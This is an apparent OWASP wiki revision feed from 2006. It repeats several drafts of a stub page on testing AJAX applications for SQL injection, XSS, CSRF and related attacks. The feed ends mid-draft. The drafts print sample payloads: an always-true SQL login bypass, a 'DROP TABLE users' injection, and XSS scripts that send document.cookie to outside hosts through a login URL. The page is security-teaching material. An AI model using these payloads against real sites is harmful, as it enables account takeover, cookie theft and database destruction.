'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11782</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11782"/>
				<updated>2006-11-05T20:49:03Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-&lt;br /&gt;
  in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11781</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11781"/>
				<updated>2006-11-05T20:32:42Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11780</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11780"/>
				<updated>2006-11-05T20:12:29Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Major Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
